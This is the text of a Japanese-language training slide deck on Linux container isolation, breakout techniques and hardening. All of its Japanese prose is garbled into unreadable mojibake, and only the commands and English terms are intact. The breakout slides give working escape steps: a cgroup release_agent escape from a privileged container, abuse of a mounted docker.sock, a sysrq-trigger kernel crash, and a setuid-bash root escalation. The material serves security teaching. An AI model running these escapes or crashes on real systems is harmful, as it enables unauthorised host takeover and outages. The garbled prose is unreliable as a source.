ProSec-IT 2021 Container Security

1. Container Security Linux Container Isolation and BreakoutTechniques Kohei Morita @mrtc0 2021 / 1 0 / 30 ProSec-IT
2. ߨٛʹ͍ͭͯ • Slack ʹߨٛͷͳ͔Ͱٙ໰ʹࢥͬͨ͜ͱ΍࣭໰ɺϋϚͬͨͱ͜Ζ͕͋ Ε͹υϯυϯॻ͍͍ͯͩ͘͞ • ԋश͕ऴΘͬͨΒਐḿγʔτͷ߲໨Λʮ׬ྃʯʹ͍ͯͩ͘͠͞
3. $ whoami Kohei Morita / @mrtc0 GMO Pepabo, Inc. ηΩϡϦςΟରࡦࣨ https://blog.ssrf.in/ https://container-security.dev/
4. Outline • 14:00~15:30 ίϯςφͷϗετͱͷ෼཭ͷ࢓૊Έ • 15:40~16:40 ίϯςφͷઃఆෆඋʹؔ͢Δ੬ऑੑ • 16:50 ~ ίϯςφΠϝʔδͷ੬ऑੑͱϏϧυ࣌ͷ஫ҙ఺ • ίϯςφϥϯλΠϜͷηΩϡϦςΟ
5. Linux Containers
6. Inside Linux Containers ( CRI and OCI )
7. Inside Linux Containers ( runc ) • Linux ͷػೳΛ࢖ͬͯϦιʔεΛ෼཭ • namespace ... PID, UTS, Network ͳͲ7ͭͷϦιʔεΛ෼཭ • cgoup ... ϝϞϦ΍CPUར༻ͷ੍ݶ • LSM ... Linux Security Module • seccomp ... γεςϜίʔϧͷ੍ݶ • capability ... ݖݶͷ DROP
8. Defense in Depth • ಛఆͷྖҬʹอޢϨΠϠΛෳ਺ಋೖ • ֤ϨΠϠ͸ಉछͷةݥੑʹରͯ͠੬ऑ ʹͳΒͳ͍Α͏ʹ͢Δ
9. Linux Container is Process • fork + exec ͯ͠ϓϩηεΛੜ੒͢Δ • ͦͷࡍʹϗετͱͷ෼཭Λߦ͏
10. Linux Container is Process • ίϯςφ͸ϗετ͔ΒݟΔͱ୯ͳΔϓϩηε $ docker run --rm -it alpine:lates sh # sleep 100 $ ps auxf ... /usr/bin/containerd \_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/ 8c9e9014b37131248e4fd927f74b61ff88efdcfdfe4fc9e79e3b3ac2c98bb332 -address /run/containerd/ containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc \_ sh \_ sleep 100 ^1 ^1 ޙड़͠·͕͢ɺKata Container ͳͲ VM Λ࢖͏ϥϯλΠϜ΋͋Γ·͢
11. Linux Process $ strace ls execve("/bin/ls", ["ls"], 0x7ffc39b8b710 /* 20 vars */) = 0 ... openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 ... read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20b\0\0\0\0\0\0"..., 832) = 832 ... write(1, "a.out bpf-tutorial chart-testi"..., 180a... • ϓϩηε͸ԿΒ͔ͷγεςϜίʔϧΛݺͼग़͢
12. setuid / setgid $ cp /bin/sleep ./mysleep $ sudo ./mysleep 100 $ ps ajf PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND 1928 1932 1932 1932 pts/0 4221 Ss 1000 0:00 bash 1932 4221 4221 1932 pts/0 4221 S+ 0 0:00 \_ sudo ./mysleep 100 4221 4222 4221 1932 pts/0 4221 S+ 0 0:00 \_ ./mysleep 100 $ chmod +s ./mysleep $ sudo ./mysleep 100 $ ps ajf PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND 1928 1932 1932 1932 pts/0 4232 Ss 1000 0:00 bash 1932 4232 4232 1932 pts/0 4232 S+ 0 0:00 \_ sudo ./mysleep 100 4232 4233 4232 1932 pts/0 4232 S+ 1000 0:00 \_ ./mysleep 100
13. setuid ͷ໰୊఺ • setuid ͞ΕͨϓϩάϥϜͷ੬ऑੑΛѱ༻͞ΕΔͱ root ʹঢ֨ͯ͠͠ ·͏Մೳੑ͕͋Δ • ίϯςφΠϝʔδεΩϟφ͸ setuid ͞ΕͨϑΝΠϧΛใࠂͯ͘͠ΕΔ ΋ͷ΋͋Δ • docker Ͱ΋ no-new-privileges ΦϓγϣϯͰ੍ޚͰ͖Δ
14. no-new-privileges $ cat Dockerfile FROM ubuntu:18.04 RUN cp /bin/bash /bin/mybash && chmod +s /bin/mybash RUN useradd -ms /bin/bash newuser USER newuser CMD ["/bin/bash"] $ docker run --security-opt=no-new-privileges:false -it --rm test:latest newuser@3ee2685cd961:/$ id uid=1000(newuser) gid=1000(newuser) groups=1000(newuser) newuser@3ee2685cd961:/$ /bin/mybash -p mybash-4.4# id uid=1000(newuser) gid=1000(newuser) euid=0(root) egid=0(root) groups=0(root) $ docker run --security-opt=no-new-privileges:true -it --rm test:latest newuser@80f241191a07:/$ /bin/mybash -p newuser@80f241191a07:/$ id uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
15. Capabilities
16. Capabilities • setuid Ͱ root Λ༩͑ΔͷͰ͸ͳ͘ɺ΋ͬͱࡉ͔͘ݖݶΛ༩͑Δ • ping Ͱ͸ੜͷιέοτΛ։ͨ͘Ίʹ CAP_NET_RAW ^1 • 1024ҎԼͷϙʔτͰ Listen ͢Δʹ͸ CAP_NET_BIND_SERVICE ͕ ඞཁ ^1 ࣮͸୯७ʹ ping ͢Δ͚ͩͰ͸ඞཁͳ͍Ͱ͢
17. Capabilities $ ps aux | grep ping ubuntu 7322 0.0 0.0 16848 1120 pts/0 S+ 15:12 0:00 ping 8.8.8.8 $ getpcaps 7322 Capabilities for `7322': = cap_net_admin,cap_net_raw+p $ cp /bin/ping myping $ ./myping -c 1 8.8.8.8 ping: socket: Operation not permitted $ sudo setcap 'cap_net_raw+p' ./myping $ getcap ./myping $ ./myping = cap_net_raw+p $ ./myping -c 1 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=26.8 ms ࠓ͸ CAP_NET_RAW ͳ͠Ͱ ping Λ࣮ߦͰ͖·͢
18. Capabilities $ docker run --rm -it ubuntu:20.04 bash root@4e89e243ccee:/# apt-get -qq update ; apt-get -qq -y install iputils-ping root@4e89e243ccee:/# ps root@4e89e243ccee:/# getpcaps 1 1: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_ chroot,cap_mknod,cap_audit_write,cap_setfcap+eip root@4e89e243ccee:/# ping -c 1 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=113 time=17.9 ms $ docker run --cap-drop net_raw --rm -it ubuntu:20.04 bash root@31bb88ca04f8:/# apt-get -qq update ; apt-get -qq -y install iputils-ping root@31bb88ca04f8:/# ps root@31bb88ca04f8:/# getpcaps 1 1: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_sys_chroot,cap_m knod,cap_audit_write,cap_setfcap+eip root@31bb88ca04f8:/# ping 8.8.8.8 bash: /usr/bin/ping: Operation not permitted
19. Privilege Escalation • ݖݶঢ֨ = ͞Βʹڧ͍ݖݶΛಘΔ͜ͱ • ίϯςφͰ͸ݖݶঢ֨΁ͷಓ͕ଟ਺͋Δ
20. ԋशλΠϜ 1-1-2 ·Ͱ
21. Namespace
22. Linux namespace • Namespace ͸ίϯςφʹ͓͚Δ Isolation ͷॏཁͳཁૉ $ docker run --rm -it alpine:latest sh / # ps aux PID USER TIME COMMAND 1 root 0:00 sh 7 root 0:00 ps aux
23. ओཁͳ Namespace • UTS Namespace ϗετ໊ͳͲΛϗετͱผʹͰ͖Δ ϓϩηεΛ෼཭͢Δ͜ͱͰɺϗετͷ ϓϩηεΛૢ࡞͢Δ͜ͱΛ੍ݶ͢Δ • PID Namespace ωοτϫʔΫΛ෼཭ͯ͠ίϯςφؒ ωοτϫʔΫΛ࡞ΕΔ • Network Namespace IPC Λϗετͱ෼཭͢Δ͜ͱͰϝο ηʔδΩϡʔͳͲͷར༻Λ੍ݶ͢Δ • IPC Namespace ϑΝΠϧγεςϜΛϚ΢ϯτςʔϒϧ͔Β ෼཭͠ɺpivot_root ͱ૊Έ߹ΘͤΔ͜ͱͰ ϑΝΠϧγεςϜΛผͷσΟϨΫτϦʹม ߋ͢Δ • Mount Namespace
24. lsns $ sudo lsns NS TYPE NPROCS PID USER COMMAND 4026531835 cgroup 141 1 root /sbin/init 4026531836 pid 139 1 root /sbin/init 4026531837 user 141 1 root /sbin/init 4026531838 uts 139 1 root /sbin/init 4026531839 ipc 139 1 root /sbin/init 4026531840 mnt 131 1 root /sbin/init 4026531861 mnt 1 19 root kdevtmpfs 4026531993 net 139 1 root /sbin/init 4026532206 mnt 1 5452 systemd-resolve /lib/systemd/systemd-resolved 4026532207 mnt 1 5449 systemd-timesync /lib/systemd/systemd-timesyncd 4026532208 mnt 1 5453 root /lib/systemd/systemd-udevd 4026532209 mnt 1 5465 systemd-network /lib/systemd/systemd-networkd 4026532210 mnt 3 1293 root /usr/sbin/apache2 -k start 4026532222 mnt 2 7445 root sh 4026532223 uts 2 7445 root sh 4026532224 ipc 2 7445 root sh 4026532225 pid 2 7445 root sh 4026532227 net 2 7445 root sh
25. namespace ͷ࡞Γํ • unshare Ͱ࡞ΕΔ
26. Hostname Isolation $ docker run --rm -it alpine:latest sh / # hostname 4f5078fcfc49 $ sudo unshare --uts sh # hostname sandbox # hostname this-is-container # hostname this-is-container # exit $ hostname sandbox
27. Process Isolation $ docker run --rm -it alpine:latest sh / # ps aux PID USER TIME COMMAND 1 root 0:00 sh 6 root 0:00 ps aux $ sudo unshare --pid --fork bash root@sandbox:/# echo $$ 1 root@sandbox:/# ps uax USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 160192 9392 ? Ss Oct25 0:08 /sbin/init root 2 0.0 0.0 0 0 ? S Oct25 0:00 [kthreadd] root 4 0.0 0.0 0 0 ? I< Oct25 0:00 [kworker/0:0H] ... 🤔
28. man 1 ps "This ps works by reading the virtual files in /proc. " 28
29. /proc root@sandbox:/# ls -al /proc dr-xr-xr-x 151 root root 0 Oct 23 18:10 . drwxr-xr-x 25 root root 4096 Oct 23 18:10 .. dr-xr-xr-x 9 root root 0 Oct 23 18:10 1 dr-xr-xr-x 9 root root 0 Oct 23 18:10 10 dr-xr-xr-x 9 root root 0 Oct 23 18:10 11 dr-xr-xr-x 9 root root 0 Oct 23 18:10 1139 dr-xr-xr-x 9 root root 0 Oct 23 18:10 1141 dr-xr-xr-x 9 root root 0 Oct 23 18:10 1147 dr-xr-xr-x 9 daemon daemon 0 Oct 23 18:10 1150 ...
30. Change Directory • ίϯςφ͸ϗετͱ͸ҟͳΔϑΝ ΠϧγεςϜΛ࢖͍ͬͯΔ • /proc ΋ؚΊͯ·ΔͬͱผͷσΟ ϨΫτϦʹมߋͯ͠͠·͓͏
31. chroot $ cd alpine/ alpine$ wget http://dl-cdn.alpinelinux.org/alpine/v3.12/releases/x86_64/alpine-minirootfs-3.12.1- x86_64.tar.gz alpine$ tar xvf alpine-minirootfs-3.12.1-x86_64.tar.gz alpine$ rm alpine-minirootfs-3.12.1-x86_64.tar.gz alpine$ cd ../ $ sudo chroot alpine sh / # ls / bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var / # ls proc/ / # ps PID USER TIME COMMAND / # ls home/
32. unshare + chroot $ sudo unshare --pid --fork chroot alpine sh / # mount -t proc proc /proc / # ps aux PID USER TIME COMMAND 1 root 0:00 sh 4 root 0:00 ps aux
33. chroot ? pivot_root ? • chroot ͸৚݅ʹΑͬͯ୤ࠈՄೳͳͷͰ࣮ࡍͷίϯςφϥϯλΠϜͰ ͸ pivot_root ͕࢖ΘΕΔ͜ͱ͕ଟ͍ • pivot_root ͸ Mount Namespace ͱ૊Έ߹Θͤͯɺݹ͍(ϗετͷ) root σΟϨΫτϦʹΞΫηεͰ͖ͳ͘ͳΔ
34. pivot_root • ϓϩηεͷ rootfs ͦͷ΋ͷΛೖΕସ͑Δ͜ͱ͕Ͱ͖Δ • ͨͩ͠ɺҎԼͷ৚͕݅͋Δ • new_root ͱݩͷ put_old ͸σΟϨΫτϦͰ͋Δ͜ͱ • new_root ͱ put_old ͸ಉ͡ϑΝΠϧγεςϜʹ͋ͬͯ͸͍͚ͳ͍ • put_old ͸ new_root ഑Լʹͳ͚Ε͹͍͚ͳ͍ • ଞͷϑΝΠϧγεςϜ͕ put_old ʹϚ΢ϯτ͞Ε͍ͯͯ͸͍͚ͳ͍
35. pivot_root • bind mount ͢Δ͜ͱͰ৽͍͠ Ϛ΢ϯτϙΠϯτͱ͢Δ • pivot_root ͰೖΕସ͑ͯ put_old Λ unmount ͢Δ
36. Mount Namespace + pivot_root $ export NEW_ROOT=$(pwd)/alpine $ mkdir $NEW_ROOT/.put_old $ sudo unshare --pid --fork --mount sh -c "mount --bind $NEW_ROOT $NEW_ROOT && \ mount -t proc proc $NEW_ROOT/proc && \ pivot_root $NEW_ROOT $NEW_ROOT/.put_old && \ umount -l /.put_old && \ cd / && \ exec /bin/sh"
37. ReadOnly Mount • /proc ΍ /sys ʹ͸ΞΫηεͰ ͖ͯ͸͍͚ͳ͍ϑΝΠϧ͕ଟ ਺͋Δ • ReadOnly ͰϚ΢ϯτͨ͠Γ / dev/null ΛϚ΢ϯτͨ͠Γ͢ Δ
38. User namespace & User Mapping $ unshare --user bash $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ echo $$ 20265 $ echo '0 1000 1' > /proc/20265/uid_map $ id uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
39. ԋशλΠϜ 1-2-4 ·Ͱ
40. seccomp
41. seccomp • γεςϜίʔϧͱͦͷҾ਺Λ੍ݶ͢Δػߏ • kexec_file_load • mount • ptrace • https://docs.docker.com/engine/security/seccomp/#run-without- the-default-seccomp-profile • Linux Kernel 4.8 Ҏલ͸ ptrace Λ࢖ͬͯ Bypass Մೳͳ͜ͱʹ஫ҙ
42. $ cat seccomp.json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [ { "name": "mkdir", "action": "SCMP_ACT_ERRNO", "args": [] } ] } $ docker run --rm --security-opt seccomp:seccomp.json -it ubuntu:latest bash root@5e21f4dd5001:/# mkdir /tmp/test mkdir: cannot create directory '/tmp/test': Operation not permitted seccomp
43. ԋशλΠϜ 1-3 ·Ͱ
44. Linux Security Modules
45. LSM ( Linux Security Modules ) • AppArmor ΍ SELinux ͳͲ͕ར༻͞ΕΔ • MAC ( Mandatory Access Control ) ͱͯ͠ػೳ͢Δ • /proc ΍ /sys ഑ԼͷϑΝΠϧ΁ͷΞΫηεΛ੍ޚͨ͠ΓίϚϯυΛ੍ ݶͨ͠Γ
46. AppArmor $ docker run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu:latest bash root@724485cb81f5:/# mkdir a; mkdir b; mount --bind a b mount: /b: bind /a failed. $ docker run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu:latest bash root@89e4b11b35b4:/# mkdir a; mkdir b; mount --bind a b https://docs.docker.com/engine/security/apparmor/
47. ԋशλΠϜ 1-4·Ͱ
48. cgroup
49. cgroup • Ϧιʔεͷར༻Λ੍ޚ • CPU ΍ϝϞϦͳͲΛ੍ޚͯ͠ෛՙ͕͔͔Βͳ͍Α͏ʹ • fork bomb ΁ͷରࡦ
50. cgroup $ docker run --rm -it -m 120m ubuntu:latest bash root@c84c70f93970:/# apt update ; apt install stress --- $ CID=$(docker run -d --rm ubuntu:latest sleep 1000) $ sudo cat /sys/fs/cgroup/memory/docker/$CID/memory.limit_in_bytes 9223372036854771712 $ CID2=$(docker run --memory=16m -d --rm ubuntu:latest sleep 1000) $ sudo cat /sys/fs/cgroup/memory/docker/$CID2/memory.limit_in_bytes 16777216 time docker exec -it $CID apt update ; time docker exec -it $CID2 apt update
51. ԋशλΠϜ 1-5·Ͱ
52. Container Security & Breakout Techniques
53. Attack Surfaces ϥϯλΠϜ΁ͷ߈ܸ Χʔωϧ΁ͷ߈ܸ ઃఆෆඋΛར༻ͨ͠߈ܸ e.g. CVE-2019-5736 e.g. CVE-2016-5195
55. Breakout Container Isolation • ִ཭͞Ε͍ͯΔίϯςφ؀ڥ͔Βϗετ΁୤ग़͢Δ • Breakout / JailBreak / Escape ͳͲͱݺͿ • ઃఆϛεىҼͰੜ͡Δ੬ऑੑʹয఺Λ౰ͯΔ • 1. Sensitive File Mount • 2. Privileged Container • 3. Capabilities
56. 1. Sensitive file mount • ϗετͷϑΝΠϧΛϚ΢ϯτ͍ͯ͠Δ৔߹ɺϗετଆʹΤεέʔϓ͢ Δ͜ͱ͕Ͱ͖Δέʔε͕͋Δ • / ΛϚ΢ϯτ(!) • docker.sock ͷϚ΢ϯτ • /proc ഑Լ
57. Mount host root file system $ docker run --rm -it -v /:/hostfs alpine:latest sh / # ls -al /hostfs total 104 drwxr-xr-x 25 root root 4096 Oct 23 09:10 . drwxr-xr-x 1 root root 4096 Nov 2 09:37 .. drwxr-xr-x 2 root root 4096 Sep 27 02:21 bin drwxr-xr-x 4 root root 4096 Oct 23 21:57 boot drwxr-xr-x 16 root root 3760 Oct 23 09:10 dev drwxr-xr-x 104 root root 4096 Oct 31 22:21 etc drwxr-xr-x 4 root root 4096 Sep 10 14:00 home ...
58. Mount docker socket $ docker run --rm -it -v /var/run/docker.sock:/docker.sock alpine:latest sh / # apk add curl / # curl --unix-socket /docker.sock http:/v1.24/containers/json [{"Id":"ffa672e9ab2a8adc38919c6b812aa8baa8bbb4b7906e98206ec947b642503158","Names":["/ crazy_knuth"],"Image":"alpine:latest","ImageID":"sha256:d6e46aa2470df1d32034c6707c8041158b652f38d2a9a e3d7ad7e7532d22ebe0","Command":"sh","Created":1604309903,"Ports":[],"La...
59. Kernel Panic $ docker run --rm -it -v /proc/sysrq-trigger:/sysrq-trigger alpine:latest sh / # echo c > /sysrq-trigger
60. ԋशλΠϜ 2-1·Ͱ
61. 2. Privileged Container • Privileged (ಛݖ) ίϯςφͱݺ͹ΕΔ΋ͷ͸ Isolation ͕ෆे෼ͳͷͰσ όοά໨తҎ֎Ͱར༻͠ͳ͍͜ͱ • CAP_SYS_ADMIN ΍ CAP_SYS_PTRACE ͳͲͷ Capability Λ༩͑ͯ͠ ·͏ • seccomp ΍ AppArmor ͳͲͷอޢ͕ͳ͍ • ಛఆͷ Capability ͷ෇༩΍ಛఆͷγεςϜίʔϧͷڐՄͳͲ͕߹Θ͞Δ͜ ͱͰ΋ϗετଆʹΤεέʔϓͰ͖Δ
62. call_usermodehelper_exec() • ϢʔβʔϥϯυͰίʔϧόοΫͷΑ͏ʹ೚ҙͷϓϩάϥϜΛ࣮ߦͰ͖ ΔΧʔωϧͷػೳ • release_agent, binfmt_misc, core_pattern, uevent_helper • Capability / seccomp ͳͲͷෆඋͰಛఆͷૢ࡞͕Մೳͳ৔߹ʹɺίϯ ςφ͔ΒΠϕϯτΛൃՐͤ͞Δ͜ͱͰϗετଆͰ೚ҙͷϓϩάϥϜΛ ࣮ߦͰ͖Δ
63. cgroup release agent $ docker run --privileged --rm -it ubuntu:latest bash root@927bb44baf0d:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@927bb44baf0d:/# echo 1 > /tmp/cgrp/x/notify_on_release
64. cgroup release agent root@927bb44baf0d:/# mount | grep overlay2 overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ 4HN7CVYLX5VML6M3TK4HLNKHX2:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/ overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/ EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/ ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff,workdir=/var/lib/docker/ overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/work,xino=off) root@927bb44baf0d:/# echo "/var/lib/docker/overlay2/ ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff/cmd" > /tmp/cgrp/release_agent
65. cgroup release agent root@927bb44baf0d:/# cat <<EOF > /cmd > #!/bin/sh > ps aux > /tmp/output > EOF root@927bb44baf0d:/# chmod +x /cmd root@927bb44baf0d:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ubuntu@docker:/tmp$ head /tmp/output USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.3 168656 12660 ? Ss Nov02 0:04 /sbin/init root 2 0.0 0.0 0 0 ? S Nov02 0:00 [kthreadd] ...
66. breakout to host • uevent_helper ... /sys/kernel/uevent_helper ʹॻ͔ΕͨϓϩάϥϜ Λ uevent Λى͜͢͜ͱͰ࣮ߦͤ͞Δ • core_pattern ... /proc/sys/kernel/core_pattern ʹॻ͔ΕͨϓϩάϥϜ Λ core ϑΝΠϧΛు͍ͨλΠϛϯάͰ࣮ߦ͢Δ
67. ԋशλΠϜ 2-2·Ͱ
68. 3. Capabilities • Privileged Container Ͱͳͯ͘΋ಛఆͷ Capability Λ༩͑Δ͜ͱ͸ة ݥ • CAP_SYS_MODULE ... ΧʔωϧϞδϡʔϧͷϩʔυ • CAP_SUS_RAWIO ... ioctl • CAP_SYS_ADMIN ... mount ͳͲ
69. Container Image Security
70. Container Image Security • ίϯςφΠϝʔδ΋ηΩϡϦςΟతʹؾΛ͚ͭΔͱ͜Ζ͕͋Δ • 1. Ϗϧυ࣌ͷηΩϡϦςΟ • 2. ґଘύοέʔδͷηΩϡϦςΟ • 3.Πϝʔδͷվ͟Μ
71. Image Build Attack Surfaces e.g. CVE-2019-16097
72. Container Image • docker pull alpine:latest • docker pull docker.example.com/user/alpine:latest • docker build -t <image name> .
73. Build a image $ cat Dockerfile FROM alpine:latest RUN echo "secret" > /secret.txt RUN rm /secret.txt $ docker build -t test . Sending build context to Docker daemon 10.61MB Step 1/3 : FROM alpine:latest ---> d6e46aa2470d Step 2/3 : RUN echo "secret" > /secret.txt ---> Running in 32f150d1804c Removing intermediate container 32f150d1804c ---> 2cac5efedab4 Step 3/3 : RUN rm /secret.txt ---> Running in be0569fd1744 Removing intermediate container be0569fd1744 ---> b29dd8898773 Successfully built b29dd8898773 Successfully tagged test:latest
74. Image Layers • Πϝʔδ͸ͦΕͧΕͷ໋ྩ͝ͱͷϨΠϠͰߏங͞Ε͍ͯΔ
75. Extract image $ docker save test > test.tar $ mkdir test $ cd test ~/test$ tar -xf ../test.tar ~/test$ ls b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a manifest.json b29dd88987735c67e31b37de3c0c44abf656b42e6ce396defbfd967ba772e027.json c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156 repositories
76. History $ cat b29*.json | jq "history": [ { "created": "2020-10-22T02:19:24.33416307Z", "created_by": "/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / " }, { "created": "2020-10-22T02:19:24.499382102Z", "created_by": "/bin/sh -c #(nop) CMD [\"/bin/sh\"]", "empty_layer": true }, { "created": "2020-11-02T09:05:38.780508124Z", "created_by": "/bin/sh -c echo \"secret\" > /secret.txt" }, { "created": "2020-11-02T09:05:39.890868911Z", "created_by": "/bin/sh -c rm /secret.txt" }
77. Extract Layer $ cat manifest.json | jq ... "Layers": [ "b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd/layer.tar", "c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar", "b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a/layer.tar" ... $ tar xf c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar $ cat secret.txt secret
78. ԋशλΠϜ 3-2·Ͱ
79. Dependencies Vulnerability • ΠϝʔδʹΠϯετʔϧ͞Εͨιϑτ΢ΣΞͷ੬ऑੑ • ΦϯϓϨ/VM ͱಉ͡Ͱɺίϯςφ಺ͷݖݶΛऔಘ͞ΕΔՄೳੑ͕ ͋Δ
80. trivy
81. ੬ऑੑ͕ݟ͔ͭͬͨ৔߹ • ͦͷ੬ऑੑ͕σΟετϦͰͲ͏͍͏ѻ͍ʹͳ͍ͬͯΔ͔֬ೝ͢Δ • Affected ͕༷ͩʑͳཧ༝Ͱ deffered ʹͳ͍ͬͯΔ΋ͷ΋͋Δ • ͦͷ੬ऑੑ͕ར༻͞ΕΔέʔε͸͋Δͷ͔ • ѱ༻͞ΕΔՄೳੑ͕͋Δ৔߹ʹ ɺΞοϓσʔτ͸ग़͍ͯΔͷ͔ • ϕʔεΠϝʔδͷߋ৽΍ Mitigation Λߦ͏
82. Πϝʔδͷվ͟Μ • ϨδετϦͷΞΧ΢ϯτ͕৐ͬऔΒΕͨ৔߹ɺΠϝʔδ͕ෆਖ਼ͳ΋ͷ ʹॻ͖׵͑ΒΕΔՄೳੑ͕͋Δ • latest Λࢦఆ͍ͯ͠Δͱෆਖ਼ͳΠϝʔδΛऔಘͯ͠͠·͏Մೳੑ͕͋ Δ • Πϝʔδͷ Digest Λࢦఆ͢Δ • Docker Content Trust (ॺ໊) Λར༻͢Δ
83. ԋशλΠϜ 3-3·Ͱ
84. Hardening Container
85. Hardening Isolation • ίϯςφ͸ϗετͱͷ෼཭Ϩϕϧ΍αϯυϘοΫεͷ࢓૊Έ͕ॏཁ • seccomp ΍ LSM ʹΑΔ Hardening ͸ Docker Ͱ΋༰қʹར༻Ͱ ͖ΔͷͰखܰͱ͍͑Δ • ϥϯλΠϜࣗମΛมߋ͢Δͱ͍͏ํ๏΋͋Δ • gVisor • Kata Container
86. rootless build • Docker Daemon ͸ root Ͱಈ͍͍ͯΔ • docker build ͕Ͱ͖Δ = ೚ҙͷίϚϯυΛ root Ͱ࣮ߦͰ͖Δ • ؂ࠪ΋ࠔ೉ (auid ͕ unset) • rootless Docker ΍ buildar ͳͲΛར༻͢Δ
87. Network / Logging • τϥϑΟοΫͷ੍ޚ΍ ARP Spoofing ΁ͷରࡦ • ίϯςφϩά΍Πϕϯτͷू໿ • fluentd • falco • auditd
88. ·ͱΊ • ίϯςφ͸ Linux ͷػೳΛ༻͍ͯϦιʔεͷ෼཭ͱ੍ݶΛߦ͍ͬͯΔ • gVisor ΍ Kata Container ͷΑ͏ͳڧྗͳαϯυϘοΫε΋ར༻ Ͱ͖Δ • ίϯςφͷ߈ܸΞϓϩʔν͸ෳ਺͋ΓɺઃఆෆඋʹΑͬͯϗετʹΤ εέʔϓͰ͖Δέʔε͕͋Δ • ͨͩ͠ɺෳ਺ͷηΩϡϦςΟػߏ͕͋Γɺଟ૚๷ޚͱͳ͍ͬͯΔ
89. ϑΥϩʔΞοϓ • ௕͓࣌ؒർΕ༷Ͱͨ͠! • ফԽෆྑͳͱ͜Ζ΋͋Δͱࢥ͍·͢ͷͰɺ࣭໰౳ Slack Ͱͯ͠΋Βͬͯ OK Ͱ͢ • ͓͔ΘΓ՝୊͸Ϩϙʔτͱͯ͠๻ʹૹͬͯ΋Β͑Δͱίϝϯτ͠·͢! Θ͔ Βͳ͍ͱ͜Ζ΋ฉ͍͍ͯͩ͘͞ɻ • Slack ͸ਓʹݟΒΕͯͪΐͬͱ...ͱ͍͏ਓ͸ DM Ͱ΋͍͍Ͱ͢͠ɺ mrtc0@ssrf.in Ѽʹૹͬͯ΋Βͬͯ΋େৎ෉Ͱ͢
90. References • Docker/Kubernetes։ൃɾӡ༻ͷͨΊͷηΩϡϦςΟ࣮ફΨΠυ / ਢా ӯେ, ޒेཛྷ ҁ, Ӊࠤඒ ༑໵ • Container Security / Liz Rice • ίϯςφٕज़ೖ໳ - Ծ૝Խͱͷҧ͍Λ஌Γɺཁૉٕज़Λ৮ֶͬͯ΅͏ • https://eh-career.com/engineerhub/entry/2019/02/05/103000 • LXCͰֶͿίϯςφೖ໳ ʵܰྔԾ૝Խ؀ڥΛ࣮ݱ͢Δٕज़ • https://gihyo.jp/admin/serial/01/linux_containers • docker/labs • https://github.com/docker/labs/tree/master/security